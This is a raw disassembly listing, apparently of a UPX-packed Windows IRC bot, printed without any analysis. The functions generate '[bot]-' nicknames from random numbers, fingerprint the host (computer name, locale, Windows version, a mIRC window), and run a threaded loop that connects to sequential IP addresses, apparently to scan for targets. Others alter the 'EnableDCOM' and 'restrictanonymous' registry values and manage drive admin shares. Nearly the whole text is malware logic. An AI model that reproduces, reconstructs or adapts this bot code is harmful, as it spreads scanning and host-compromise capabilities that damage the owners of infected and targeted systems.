loc_415906: ; CODE XREF: sub_4156FD+C8j
; sub_4156FD+ECj ...
mov edi, [ebp+arg_0]
loc_415909: ; CODE XREF: sub_4156FD+13Cj
; sub_4156FD+207j
call ds:dword_43C5AC ; WSAGetLastError
push eax
lea eax, [ebp+Source]
push offset dword_4379B8 ; Format
push eax ; Dest
call _sprintf
add esp, 0Ch
cmp [ebp+var_3C], esi
jnz short loc_415949
push esi ; int
lea eax, [ebp+Source]
push [ebp+var_40] ; int
push eax ; int
lea eax, [ebp+Str]
push eax ; Str
push [ebp+var_214] ; int
call sub_40D670
add esp, 14h
loc_415949: ; CODE XREF: sub_4156FD+22Aj
lea eax, [ebp+Source]
push eax
call sub_40BF6F
pop ecx
push edi
call ds:dword_43C6B0 ; closesocket
push ebx
call ds:dword_43C6B0 ; closesocket
call ds:dword_43C578 ; WSACleanup
push [ebp+var_4C]
call sub_417064
pop ecx
push esi
call ds:dword_423050
pop ebx
loc_41597B: ; DATA XREF: sub_4156FD+5Ao
xor eax, eax
cmp [esp+5E0h+var_5DC], eax
setz al
retn
sub_4156FD endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
; int __cdecl sub_415985(char *Dest)
sub_415985 proc near ; CODE XREF: sub_415CF0+49p
; DATA XREF: UPX0:off_437B88o
var_C = dword ptr -0Ch
Dest = dword ptr 4
push esi
push edi
call ds:dword_423054 ; GetTickCount
push eax
call sub_4172EE
mov edi, [esp+0Ch+Dest]
mov [esp+0Ch+var_C], offset aBot ; "[bot]-"
push offset aS_1 ; "%s"
push 1Ch ; Count
push edi ; Dest
call __snprintf
xor esi, esi
add esp, 10h
cmp ds:dword_42E5C4, esi
jle short loc_4159DE
loc_4159B8: ; CODE XREF: sub_415985+57j
call _rand
push 0Ah
cdq
pop ecx
idiv ecx
push edx
push edi
push offset aSI ; "%s%i"
push 1Ch ; Count
push edi ; Dest
call __snprintf
add esp, 14h
inc esi
cmp esi, ds:dword_42E5C4
jl short loc_4159B8
loc_4159DE: ; CODE XREF: sub_415985+31j
mov eax, edi
pop edi
pop esi
retn
sub_415985 endp
; =============== S U B R O U T I N E =======================================
sub_4159E3 proc near ; CODE XREF: sub_40EE51+3E86p
arg_0 = dword ptr 4
push ebx
push esi
push edi
call ds:dword_423054 ; GetTickCount
push eax
call sub_4172EE
pop ecx
call _rand
push 3
mov ebx, [esp+10h+arg_0]
cdq
pop ecx
xor edi, edi
idiv ecx
mov esi, edx
add esi, ds:dword_42E5C4
test esi, esi
jle short loc_415A26
loc_415A10: ; CODE XREF: sub_4159E3+41j
call _rand
push 1Ah
cdq
pop ecx
idiv ecx
add dl, 61h
mov [edi+ebx], dl
inc edi
cmp edi, esi
jl short loc_415A10
loc_415A26: ; CODE XREF: sub_4159E3+2Bj
and byte ptr [edi+ebx], 0
pop edi
mov eax, ebx
pop esi
pop ebx
retn
sub_4159E3 endp
; ---------------------------------------------------------------------------
push ebp
mov ebp, esp
push ecx
push ecx
and dword ptr [ebp-4], 0
push esi
push edi
mov dword ptr [ebp-8], 100h
call ds:dword_423054 ; GetTickCount
push eax
call sub_4172EE
pop ecx
lea eax, [ebp-8]
mov esi, offset byte_437BE4
push eax
push esi
call ds:dword_423154 ; GetComputerNameA
movsx eax, ds:byte_437BE4
push 41h
pop ecx
push 1
pop edx
loc_415A6C: ; CODE XREF: UPX0:00415A77j
cmp eax, ecx
jnz short loc_415A73
mov [ebp-4], edx
loc_415A73: ; CODE XREF: UPX0:00415A6Ej
inc ecx
cmp ecx, 5Bh
jl short loc_415A6C
push 61h
pop ecx
loc_415A7C: ; CODE XREF: UPX0:00415A87j
cmp eax, ecx
jnz short loc_415A83
mov [ebp-4], edx
loc_415A83: ; CODE XREF: UPX0:00415A7Ej
inc ecx
cmp ecx, 7Bh
jl short loc_415A7C
mov edi, [ebp+8]
push esi
push 1Ch
push edi
call __snprintf
xor esi, esi
add esp, 0Ch
cmp ds:dword_42E5C4, esi
jle short loc_415AC8
loc_415AA2: ; CODE XREF: UPX0:00415AC6j
call _rand
push 0Ah
cdq
pop ecx
idiv ecx
push edx
push edi
push offset aSI ; "%s%i"
push 1Ch
push edi
call __snprintf
add esp, 14h
inc esi
cmp esi, ds:dword_42E5C4
jl short loc_415AA2
loc_415AC8: ; CODE XREF: UPX0:00415AA0j
mov eax, edi
pop edi
pop esi
leave
retn
; ---------------------------------------------------------------------------
push ebp
mov ebp, esp
sub esp, 0Ch
push esi
push edi
call ds:dword_423054 ; GetTickCount
push eax
call sub_4172EE
pop ecx
lea eax, [ebp-0Ch]
push 0Ah
push eax
push 7
push 800h
call ds:dword_423178 ; GetLocaleInfoA
mov edi, [ebp+8]
lea eax, [ebp-0Ch]
push eax
push offset dword_437BE8
push 1Ch
push edi
call __snprintf
xor esi, esi
add esp, 10h
cmp ds:dword_42E5C4, esi
jle short loc_415B3D
loc_415B17: ; CODE XREF: UPX0:00415B3Bj
call _rand
push 0Ah
cdq
pop ecx
idiv ecx
push edx
push edi
push offset aSI ; "%s%i"
push 1Ch
push edi
call __snprintf
add esp, 14h
inc esi
cmp esi, ds:dword_42E5C4
jl short loc_415B17
loc_415B3D: ; CODE XREF: UPX0:00415B15j
mov eax, edi
pop edi
pop esi
leave
retn
; ---------------------------------------------------------------------------
push ebp
mov ebp, esp
sub esp, 94h
push esi
lea eax, [ebp-94h]
push edi
push eax
mov esi, offset byte_4397BC
mov dword ptr [ebp-94h], 94h
call ds:dword_423144 ; GetVersionExA
call ds:dword_423054 ; GetTickCount
push eax
call sub_4172EE
cmp dword ptr [ebp-90h], 4
pop ecx
jnz short loc_415BC7
cmp dword ptr [ebp-8Ch], 0
jnz short loc_415BA7
cmp dword ptr [ebp-84h], 1
jnz short loc_415B97
mov esi, offset a95 ; "95"
loc_415B97: ; CODE XREF: UPX0:00415B90j
cmp dword ptr [ebp-84h], 2
jnz short loc_415C03
mov esi, offset aNt ; "NT"
jmp short loc_415C03
; ---------------------------------------------------------------------------
loc_415BA7: ; CODE XREF: UPX0:00415B87j
cmp dword ptr [ebp-8Ch], 0Ah
jnz short loc_415BB7
mov esi, offset a98 ; "98"
jmp short loc_415C03
; ---------------------------------------------------------------------------
loc_415BB7: ; CODE XREF: UPX0:00415BAEj
cmp dword ptr [ebp-8Ch], 5Ah
jnz short loc_415BFE
mov esi, offset aMe ; "ME"
jmp short loc_415C03
; ---------------------------------------------------------------------------
loc_415BC7: ; CODE XREF: UPX0:00415B7Ej
cmp dword ptr [ebp-90h], 5
jnz short loc_415BFE
cmp dword ptr [ebp-8Ch], 0
jnz short loc_415BE0
mov esi, offset a2k ; "2K"
jmp short loc_415C03
; ---------------------------------------------------------------------------
loc_415BE0: ; CODE XREF: UPX0:00415BD7j
cmp dword ptr [ebp-8Ch], 1
jnz short loc_415BF0
mov esi, offset aXp ; "XP"
jmp short loc_415C03
; ---------------------------------------------------------------------------
loc_415BF0: ; CODE XREF: UPX0:00415BE7j
cmp dword ptr [ebp-8Ch], 2
mov esi, offset dword_437BF4
jz short loc_415C03
loc_415BFE: ; CODE XREF: UPX0:00415BBEj
; UPX0:00415BCEj
mov esi, offset a??? ; "???"
loc_415C03: ; CODE XREF: UPX0:00415B9Ej
; UPX0:00415BA5j ...
mov edi, [ebp+8]
push esi
push offset dword_437BEC
push 1Ch
push edi
call __snprintf
xor esi, esi
add esp, 10h
cmp ds:dword_42E5C4, esi
jle short loc_415C47
loc_415C21: ; CODE XREF: UPX0:00415C45j
call _rand
push 0Ah
cdq
pop ecx
idiv ecx
push edx
push edi
push offset aSI ; "%s%i"
push 1Ch
push edi
call __snprintf
add esp, 14h
inc esi
cmp esi, ds:dword_42E5C4
jl short loc_415C21
loc_415C47: ; CODE XREF: UPX0:00415C1Fj
mov eax, edi
pop edi
pop esi
leave
retn
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
; int __cdecl sub_415C4D(char *Dest)
sub_415C4D proc near ; CODE XREF: sub_415CF0+5Cp
Source = byte ptr -1Ch
Dest = dword ptr 8
push ebp
mov ebp, esp
sub esp, 1Ch
push esi
call ds:dword_423054 ; GetTickCount
xor edx, edx
mov ecx, 5265C00h
div ecx
push 0
push offset aMirc ; "mIRC"
mov esi, eax
cmp esi, 64h
jbe short loc_415C9C
call ds:dword_43C624 ; FindWindowA
test eax, eax
mov eax, offset aM ; "[M]"
jnz short loc_415C85
mov eax, offset byte_4397BC
loc_415C85: ; CODE XREF: sub_415C4D+31j
push eax
push esi
push offset aDS ; "[%d]%s"
lea eax, [ebp+Source]
push 1Ch ; Count
push eax ; Dest
call __snprintf
add esp, 14h
jmp short loc_415CBC
; ---------------------------------------------------------------------------
loc_415C9C: ; CODE XREF: sub_415C4D+22j
call ds:dword_43C624 ; FindWindowA
test eax, eax
mov eax, offset aM ; "[M]"
jnz short loc_415CB0
mov eax, offset byte_4397BC
loc_415CB0: ; CODE XREF: sub_415C4D+5Cj
push eax ; Format
lea eax, [ebp+Source]
push eax ; Dest
call _sprintf
pop ecx
pop ecx
loc_415CBC: ; CODE XREF: sub_415C4D+4Dj
lea eax, [ebp+Source]
push eax ; Str
call _strlen
pop ecx
cmp eax, 2
pop esi
jbe short loc_415CEB
push 1Ch ; Count
lea eax, [ebp+Source]
push [ebp+Dest] ; Source
push eax ; Dest
call _strncat
lea eax, [ebp+Source]
push 1Ch ; Count
push eax ; Source
push [ebp+Dest] ; Dest
call _strncpy
add esp, 18h
loc_415CEB: ; CODE XREF: sub_415C4D+7Dj
mov eax, [ebp+Dest]
leave
retn
sub_415C4D endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
; int __cdecl sub_415CF0(char *Dest,int,int,char *Str1)
sub_415CF0 proc near ; CODE XREF: sub_40EB71+7Fp
; sub_40ECD9+50p ...
Dest = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
Str1 = dword ptr 14h
push ebp
mov ebp, esp
push esi
push edi
xor edi, edi
mov esi, offset dword_437B84
loc_415CFC: ; CODE XREF: sub_415CF0+3Fj
cmp [ebp+Str1], 0
jz short loc_415D17
lea eax, [esi-0Ch]
push eax ; Str2
push [ebp+Str1] ; Str1
call _strcmp
neg eax
pop ecx
sbb eax, eax
pop ecx
inc eax
jmp short loc_415D21
; ---------------------------------------------------------------------------
loc_415D17: ; CODE XREF: sub_415CF0+10j
mov ecx, [esi]
xor eax, eax
cmp ecx, [ebp+arg_4]
setz al
loc_415D21: ; CODE XREF: sub_415CF0+25j
test eax, eax
jnz short loc_415D33
add esi, 14h
inc edi
cmp esi, offset dword_437BE8
jl short loc_415CFC
jmp short loc_415D41
; ---------------------------------------------------------------------------
loc_415D33: ; CODE XREF: sub_415CF0+33j
push [ebp+Dest] ; Dest
lea eax, [edi+edi*4]
call ds:off_437B88[eax*4]
pop ecx
loc_415D41: ; CODE XREF: sub_415CF0+41j
cmp [ebp+arg_8], 0
pop edi
pop esi
jz short loc_415D54
push [ebp+Dest] ; Dest
call sub_415C4D
pop ecx
pop ebp
retn
; ---------------------------------------------------------------------------
loc_415D54: ; CODE XREF: sub_415CF0+57j
mov eax, [ebp+Dest]
pop ebp
retn
sub_415CF0 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_415D59 proc near ; DATA XREF: sub_415E26+7Bo
var_B8 = dword ptr -0B8h
Str = byte ptr -0B4h
var_34 = dword ptr -34h
var_2C = dword ptr -2Ch
var_28 = dword ptr -28h
var_20 = dword ptr -20h
Dst = word ptr -10h
var_E = word ptr -0Eh
var_C = dword ptr -0Ch
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 0B8h
mov eax, [ebp+arg_0]
push esi
push edi
push 2Ah
pop ecx
mov esi, eax
lea edi, [ebp+var_B8]
push 1
rep movsd
pop esi
mov [eax+0A4h], esi
push 10h ; Size
lea eax, [ebp+Dst]
push 0 ; Val
push eax ; Dst
call _memset
add esp, 0Ch
mov [ebp+Dst], 2
push [ebp+var_34]
call ds:dword_43C618 ; htons
mov [ebp+var_E], ax
mov eax, [ebp+var_28]
push 6
push esi
push 2
mov [ebp+var_C], eax
call ds:dword_43C698 ; socket
mov esi, eax
cmp esi, 0FFFFFFFFh
jz short loc_415E17
lea eax, [ebp+Dst]
push 10h
push eax
push esi
call ds:dword_43C5C0 ; connect
mov ecx, [ebp+var_2C]
imul ecx, 234h
cmp eax, 0FFFFFFFFh
mov ds:dword_44207C[ecx], esi
jz short loc_415E17
push [ebp+var_34]
push [ebp+var_28]
call ds:dword_43C6A4 ; inet_ntoa
push eax
mov edi, offset byte_486D98
push offset unk_437C04 ; Format
push edi ; Dest
call _sprintf
push 0 ; int
lea eax, [ebp+Str]
push [ebp+var_20] ; int
push edi ; int
push eax ; Str
push [ebp+var_B8] ; int
call sub_40D670
push edi
call sub_40BF6F
add esp, 28h
loc_415E17: ; CODE XREF: sub_415D59+5Dj
; sub_415D59+7Ej
push esi
call ds:dword_43C6B0 ; closesocket
pop edi
xor eax, eax
pop esi
leave
retn 4
sub_415D59 endp
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn bp-based frame
; int __cdecl sub_415E26(int Dst)
sub_415E26 proc near ; DATA XREF: sub_40EE51+35F7o
Source = byte ptr -130h
var_B0 = byte ptr -0B0h
var_2C = dword ptr -2Ch
var_24 = dword ptr -24h
Src = dword ptr -20h
var_C = dword ptr -0Ch
var_8 = byte ptr -8
var_4 = dword ptr -4
Dst = dword ptr 8
push ebp
mov ebp, esp
sub esp, 130h
push ebx
mov ebx, [ebp+Dst]
push esi
push edi
push 2Ah
mov esi, ebx
pop ecx
lea edi, [ebp+var_B0]
rep movsd
mov esi, ds:dword_423060
mov dword ptr [ebx+0A0h], 1
xor edi, edi
loc_415E54: ; CODE XREF: sub_415E26+ECj
push [ebp+var_2C]
push [ebp+Src]
call ds:dword_43C6A4 ; inet_ntoa
push eax
lea eax, [ebp+Source]
push offset unk_437C3C ; Format
push eax ; Dest
call _sprintf
lea eax, [ebp+Source]
push 1FFh ; Count
push eax ; Source
mov eax, [ebp+var_24]
imul eax, 234h
add eax, offset dword_441E70
push eax ; Dest
call _strncpy
add esp, 1Ch
lea eax, [ebp+var_8]
push eax
lea eax, [ebp+var_B0]
push edi
push eax
push offset sub_415D59
push edi
push edi
call ds:dword_42309C
cmp eax, edi
mov [ebp+var_4], eax
jz short loc_415EC0
loc_415EB5: ; CODE XREF: sub_415E26+98j
cmp [ebp+var_C], edi
jnz short loc_415EC0
push 32h
call esi ; Sleep
jmp short loc_415EB5
; ---------------------------------------------------------------------------
loc_415EC0: ; CODE XREF: sub_415E26+8Dj
; sub_415E26+92j
push [ebp+var_4]
call ds:dword_423074
push dword ptr [ebx+88h]
mov [ebx+0A4h], edi
call esi ; Sleep
lea eax, [ebp+Src]
push 4 ; Size
push eax ; Src
lea eax, [ebp+Dst]
push eax ; Dst
call _memcpy
add esp, 0Ch
push [ebp+Dst]
call ds:dword_43C54C ; htonl
inc eax
push eax
mov [ebp+Dst], eax
call ds:dword_43C614 ; htonl
mov [ebp+Dst], eax
lea eax, [ebp+Dst]
push 4 ; Size
push eax ; Src
lea eax, [ebp+Src]
push eax ; Dst
call _memcpy
add esp, 0Ch
jmp loc_415E54
sub_415E26 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_415F17 proc near ; DATA XREF: sub_40EE51+5F5Bo
var_98 = dword ptr -98h
var_94 = byte ptr -94h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 98h
mov eax, [ebp+arg_0]
push esi
push edi
push 26h
pop ecx
mov esi, eax
lea edi, [ebp+var_98]
rep movsd
pop edi
pop esi
push [ebp+var_8]
cmp [ebp+var_10], 0
mov dword ptr [eax+94h], 1
lea eax, [ebp+var_94]
push [ebp+var_C]
push eax
push [ebp+var_98]
jz short loc_415F5E
call sub_415F77
jmp short loc_415F63
; ---------------------------------------------------------------------------
loc_415F5E: ; CODE XREF: sub_415F17+3Ej
call sub_41629B
loc_415F63: ; CODE XREF: sub_415F17+45j
add esp, 10h
push [ebp+var_14]
call sub_417064
pop ecx
push 0
call ds:dword_423050
sub_415F17 endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_415F77 proc near ; CODE XREF: sub_415F17+40p
Dest = byte ptr -214h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
Str = byte ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
push ebp
mov ebp, esp
sub esp, 214h
push esi
push edi
xor edi, edi
cmp ds:dword_43C6E8, edi
jnz loc_4160A9
lea eax, [ebp+var_4]
mov esi, 80000002h
push eax
push 2001Fh
push edi
push offset aSoftwareMicros ; "Software\\Microsoft\\OLE"
push esi
call ds:dword_43C688 ; RegOpenKeyExA
test eax, eax
jnz short loc_416002
mov ax, ds:word_437FEC
mov word ptr [ebp+Str+2], ax
lea eax, [ebp+Str+2]
push eax ; Str
call _strlen
pop ecx
push eax
lea eax, [ebp+Str+2]
push eax
push 1
push edi
push offset aEnabledcom ; "EnableDCOM"
push [ebp+var_4]
call ds:dword_43C63C ; RegSetValueExA
test eax, eax
jz short loc_415FE4
push offset unk_437FAC
jmp short loc_415FE9
; ---------------------------------------------------------------------------
loc_415FE4: ; CODE XREF: sub_415F77+64j
push offset dword_437F80 ; Format
loc_415FE9: ; CODE XREF: sub_415F77+6Bj
lea eax, [ebp+Dest]
push eax ; Dest
call _sprintf
pop ecx
pop ecx
push [ebp+var_4]
call ds:dword_43C5F4 ; RegCloseKey
jmp short loc_416015
; ---------------------------------------------------------------------------
loc_416002: ; CODE XREF: sub_415F77+36j
lea eax, [ebp+Dest]
push offset unk_437F40 ; Format
push eax ; Dest
call _sprintf
pop ecx
pop ecx
loc_416015: ; CODE XREF: sub_415F77+89j
cmp [ebp+arg_C], edi
jnz short loc_416034
push 1 ; int
lea eax, [ebp+Dest]
push [ebp+arg_8] ; int
push eax ; int
push [ebp+arg_4] ; Str
push [ebp+arg_0] ; int
call sub_40D670
add esp, 14h
loc_416034: ; CODE XREF: sub_415F77+A1j
lea eax, [ebp+Dest]
push eax
call sub_40BF6F
pop ecx
lea eax, [ebp+var_4]
push eax
push 0F003Fh
push edi
push offset aSystemCurrentc ; "SYSTEM\\CurrentControlSet\\Control\\Lsa"
push esi
call ds:dword_43C688 ; RegOpenKeyExA
test eax, eax
jnz short loc_4160A2
lea eax, [ebp+Str]
push 4
push eax
push 4
push edi
push offset aRestrictanonym ; "restrictanonymous"
push [ebp+var_4]
mov dword ptr [ebp+Str], 1
call ds:dword_43C63C ; RegSetValueExA
test eax, eax
jz short loc_416084
push offset unk_437EE0
jmp short loc_416089
; ---------------------------------------------------------------------------
loc_416084: ; CODE XREF: sub_415F77+104j
push offset unk_437E9C ; Format
loc_416089: ; CODE XREF: sub_415F77+10Bj
lea eax, [ebp+Dest]
push eax ; Dest
call _sprintf
pop ecx
pop ecx
push [ebp+var_4]
call ds:dword_43C5F4 ; RegCloseKey
jmp short loc_4160BC
; ---------------------------------------------------------------------------
loc_4160A2: ; CODE XREF: sub_415F77+E2j
push offset unk_437E50
jmp short loc_4160AE
; ---------------------------------------------------------------------------
loc_4160A9: ; CODE XREF: sub_415F77+13j
push offset unk_437E10 ; Format
loc_4160AE: ; CODE XREF: sub_415F77+130j
lea eax, [ebp+Dest]
push eax ; Dest
call _sprintf
pop ecx
pop ecx
loc_4160BC: ; CODE XREF: sub_415F77+129j
cmp [ebp+arg_C], edi
jnz short loc_4160DB
push 1 ; int
lea eax, [ebp+Dest]
push [ebp+arg_8] ; int
push eax ; int
push [ebp+arg_4] ; Str
push [ebp+arg_0] ; int
call sub_40D670
add esp, 14h
loc_4160DB: ; CODE XREF: sub_415F77+148j
lea eax, [ebp+Dest]
push eax
call sub_40BF6F
cmp ds:dword_43C710, edi
pop ecx
jnz loc_416256
push ebx
mov [ebp+var_4], edi
mov [ebp+var_14], edi
mov [ebp+var_C], edi
loc_4160FE: ; CODE XREF: sub_415F77+2C3j
lea eax, [ebp+var_C]
push eax
lea eax, [ebp+var_14]
push eax
lea eax, [ebp+var_4]
push eax
lea eax, [ebp+Str]
push 0FFFFFFFFh
push eax
push 1F6h
push edi
call ds:dword_43C564
cmp eax, edi
mov [ebp+var_10], eax
jz short loc_41619B
cmp eax, 0EAh
jz short loc_41619B
mov esi, offset off_437C78
loc_41612F: ; CODE XREF: sub_415F77+21Dj
push dword ptr [esi]
push edi
call sub_40DCC1
pop ecx
pop ecx
push dword ptr [esi]
test eax, eax
jnz short loc_416146
push offset unk_437DDC
jmp short loc_41614B
; ---------------------------------------------------------------------------
loc_416146: ; CODE XREF: sub_415F77+1C6j
push offset unk_437DA0 ; Format
loc_41614B: ; CODE XREF: sub_415F77+1CDj
lea eax, [ebp+Dest]
push 200h ; Count
push eax ; Dest
call __snprintf
add esp, 10h
cmp [ebp+arg_C], edi
jnz short loc_41617E
push 1 ; int
lea eax, [ebp+Dest]
push [ebp+arg_8] ; int
push eax ; int
push [ebp+arg_4] ; Str
push [ebp+arg_0] ; int
call sub_40D670
add esp, 14h
loc_41617E: ; CODE XREF: sub_415F77+1EBj
lea eax, [ebp+Dest]
push eax
call sub_40BF6F
add esi, 8
pop ecx
cmp esi, offset dword_437C98
jl short loc_41612F
jmp loc_416233
; ---------------------------------------------------------------------------
loc_41619B: ; CODE XREF: sub_415F77+1AAj
; sub_415F77+1B1j
mov esi, dword ptr [ebp+Str]
push 1
pop ebx
cmp [ebp+var_4], ebx
jb loc_41622A
loc_4161AA: ; CODE XREF: sub_415F77+2AFj
mov edi, [esi]
push edi ; Str
call _wcslen
cmp word ptr [edi+eax*2-2], 24h
pop ecx
jnz short loc_41621F
push edi
call sub_40DBAE
push eax
push 0
call sub_40DCC1
add esp, 0Ch
push dword ptr [esi]
test eax, eax
jnz short loc_4161D9
push offset unk_437D6C
jmp short loc_4161DE
; ---------------------------------------------------------------------------
loc_4161D9: ; CODE XREF: sub_415F77+259j
push offset unk_437D30 ; Format
loc_4161DE: ; CODE XREF: sub_415F77+260j
lea eax, [ebp+Dest]
push 200h ; Count
push eax ; Dest
call __snprintf
add esp, 10h
cmp [ebp+arg_C], 0
jnz short loc_416212
push 1 ; int
lea eax, [ebp+Dest]
push [ebp+arg_8] ; int
push eax ; int
push [ebp+arg_4] ; Str
push [ebp+arg_0] ; int
call sub_40D670
add esp, 14h
loc_416212: ; CODE XREF: sub_415F77+27Fj
lea eax, [ebp+Dest]
push eax
call sub_40BF6F
pop ecx
loc_41621F: ; CODE XREF: sub_415F77+242j
add esi, 28h
inc ebx
cmp ebx, [ebp+var_4]
jbe short loc_4161AA
xor edi, edi
loc_41622A: ; CODE XREF: sub_415F77+22Dj
push dword ptr [ebp+Str]
call ds:dword_43C6A8
loc_416233: ; CODE XREF: sub_415F77+21Fj
cmp [ebp+var_10], 0EAh
jz loc_4160FE
lea eax, [ebp+Dest]
push offset unk_437CF8 ; Format
push eax ; Dest
call _sprintf
pop ecx
pop ecx
pop ebx
jmp short loc_416269
; ---------------------------------------------------------------------------
loc_416256: ; CODE XREF: sub_415F77+177j
lea eax, [ebp+Dest]
push offset unk_437CB8 ; Format
push eax ; Dest
call _sprintf
pop ecx
pop ecx
loc_416269: ; CODE XREF: sub_415F77+2DDj
cmp [ebp+arg_C], edi
jnz short loc_416287
push edi ; int
lea eax, [ebp+Dest]
push [ebp+arg_8] ; int
push eax ; int
push [ebp+arg_4] ; Str
push [ebp+arg_0] ; int
call sub_40D670
add esp, 14h
loc_416287: ; CODE XREF: sub_415F77+2F5j
lea eax, [ebp+Dest]
push eax
call sub_40BF6F
pop ecx
push 1
pop eax
pop edi
pop esi
leave
retn
sub_415F77 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41629B proc near ; CODE XREF: sub_415F17:loc_415F5Ep
Dest = byte ptr -220h
var_20 = dword ptr -20h
var_14 = byte ptr -14h
Str = byte ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
push ebp
mov ebp, esp
sub esp, 220h
push ebx
xor ebx, ebx
cmp ds:dword_43C6E8, ebx
push esi
jnz loc_4163C9
lea eax, [ebp+var_4]
mov esi, 80000002h
push eax
push 2001Fh
push ebx
push offset aSoftwareMicros ; "Software\\Microsoft\\OLE"
push esi
call ds:dword_43C688 ; RegOpenKeyExA
test eax, eax
jnz short loc_416326
mov ax, ds:word_4381D4
mov word ptr [ebp+Str+2], ax
lea eax, [ebp+Str+2]
push eax ; Str
call _strlen
pop ecx
push eax
lea eax, [ebp+Str+2]
push eax
push 1
push ebx
push offset aEnabledcom ; "EnableDCOM"
push [ebp+var_4]
call ds:dword_43C63C ; RegSetValueExA
test eax, eax
jz short loc_416308
push offset unk_4381A0
jmp short loc_41630D
; ---------------------------------------------------------------------------
loc_416308: ; CODE XREF: sub_41629B+64j
push offset dword_438174 ; Format
loc_41630D: ; CODE XREF: sub_41629B+6Bj
lea eax, [ebp+Dest]
push eax ; Dest
call _sprintf
pop ecx
pop ecx
push [ebp+var_4]
call ds:dword_43C5F4 ; RegCloseKey
jmp short loc_416339
; ---------------------------------------------------------------------------
loc_416326: ; CODE XREF: sub_41629B+36j
lea eax, [ebp+Dest]
push offset unk_437F40 ; Format
push eax ; Dest
call _sprintf
pop ecx
pop ecx
loc_416339: ; CODE XREF: sub_41629B+89j
cmp [ebp+arg_C], ebx
jnz short loc_416358
push 1 ; int
lea eax, [ebp+Dest]
push [ebp+arg_8] ; int
push eax ; int
push [ebp+arg_4] ; Str
push [ebp+arg_0] ; int
call sub_40D670
add esp, 14h
loc_416358: ; CODE XREF: sub_41629B+A1j
lea eax, [ebp+Dest]
push eax
call sub_40BF6F
pop ecx
lea eax, [ebp+var_4]
push eax
push 0F003Fh
push ebx
push offset aSystemCurrentc ; "SYSTEM\\CurrentControlSet\\Control\\Lsa"
push esi
call ds:dword_43C688 ; RegOpenKeyExA
test eax, eax
jnz short loc_4163C2
lea eax, [ebp+Str]
push 4
push eax
push 4
push ebx
push offset aRestrictanonym ; "restrictanonymous"
push [ebp+var_4]
mov dword ptr [ebp+Str], ebx
call ds:dword_43C63C ; RegSetValueExA
test eax, eax
jz short loc_4163A4
push offset unk_438128
jmp short loc_4163A9
; ---------------------------------------------------------------------------
loc_4163A4: ; CODE XREF: sub_41629B+100j
push offset unk_4380E4 ; Format
loc_4163A9: ; CODE XREF: sub_41629B+107j
lea eax, [ebp+Dest]
push eax ; Dest
call _sprintf
pop ecx
pop ecx
push [ebp+var_4]
call ds:dword_43C5F4 ; RegCloseKey
jmp short loc_4163DC
; ---------------------------------------------------------------------------
loc_4163C2: ; CODE XREF: sub_41629B+E2j
push offset unk_438098
jmp short loc_4163CE
; ---------------------------------------------------------------------------
loc_4163C9: ; CODE XREF: sub_41629B+13j
push offset unk_437E10 ; Format
loc_4163CE: ; CODE XREF: sub_41629B+12Cj
lea eax, [ebp+Dest]
push eax ; Dest
call _sprintf
pop ecx
pop ecx
loc_4163DC: ; CODE XREF: sub_41629B+125j
cmp [ebp+arg_C], ebx
jnz short loc_4163FB
push 1 ; int
lea eax, [ebp+Dest]
push [ebp+arg_8] ; int
push eax ; int
push [ebp+arg_4] ; Str
push [ebp+arg_0] ; int
call sub_40D670
add esp, 14h
loc_4163FB: ; CODE XREF: sub_41629B+144j
lea eax, [ebp+Dest]
push eax
call sub_40BF6F
cmp ds:dword_43C710, ebx
pop ecx
jnz loc_41656D
push edi
mov esi, offset off_437C78
mov edi, 200h
loc_41641F: ; CODE XREF: sub_41629B+1E9j
push dword ptr [esi+4] ; int
push dword ptr [esi] ; Str
push ebx ; int
call sub_40DC15
add esp, 0Ch
push dword ptr [esi]
test eax, eax
jnz short loc_41643A
push offset unk_438068
jmp short loc_41643F
; ---------------------------------------------------------------------------
loc_41643A: ; CODE XREF: sub_41629B+196j
push offset unk_438030 ; Format
loc_41643F: ; CODE XREF: sub_41629B+19Dj
lea eax, [ebp+Dest]
push edi ; Count
push eax ; Dest
call __snprintf
add esp, 10h
cmp [ebp+arg_C], ebx
jnz short loc_41646E
push 1 ; int
lea eax, [ebp+Dest]
push [ebp+arg_8] ; int
push eax ; int
push [ebp+arg_4] ; Str
push [ebp+arg_0] ; int
call sub_40D670
add esp, 14h
loc_41646E: ; CODE XREF: sub_41629B+1B7j
lea eax, [ebp+Dest]
push eax
call sub_40BF6F
add esi, 8
pop ecx
cmp esi, offset off_437C88
jl short loc_41641F
call ds:dword_42317C ; GetLogicalDrives
test eax, eax
mov [ebp+var_4], eax
mov bl, 41h
jz loc_416555
loc_416499: ; CODE XREF: sub_41629B+2B4j
mov eax, [ebp+var_4]
and eax, 1
cmp al, 1
jnz loc_41654A
cmp bl, 41h
jz loc_41654A
movsx esi, bl
push esi
push offset aC_0 ; "%c$"
lea eax, [ebp+var_14]
push 0Ah ; Count
push eax ; Dest
call __snprintf
push esi
push offset aC_1 ; "%c:\\"
lea eax, [ebp+var_20]
push 0Ah ; Count
push eax ; Dest
call __snprintf
add esp, 20h
lea eax, [ebp+var_20]
push eax
call ds:dword_43C678 ; GetDriveTypeA
cmp eax, 3
jnz short loc_41654A
lea eax, [ebp+var_20]
push eax ; int
lea eax, [ebp+var_14]
push eax ; Str
push 0 ; int
call sub_40DC15
add esp, 0Ch
test eax, eax
lea eax, [ebp+var_14]
push eax
jnz short loc_416508
push offset unk_438068
jmp short loc_41650D
; ---------------------------------------------------------------------------
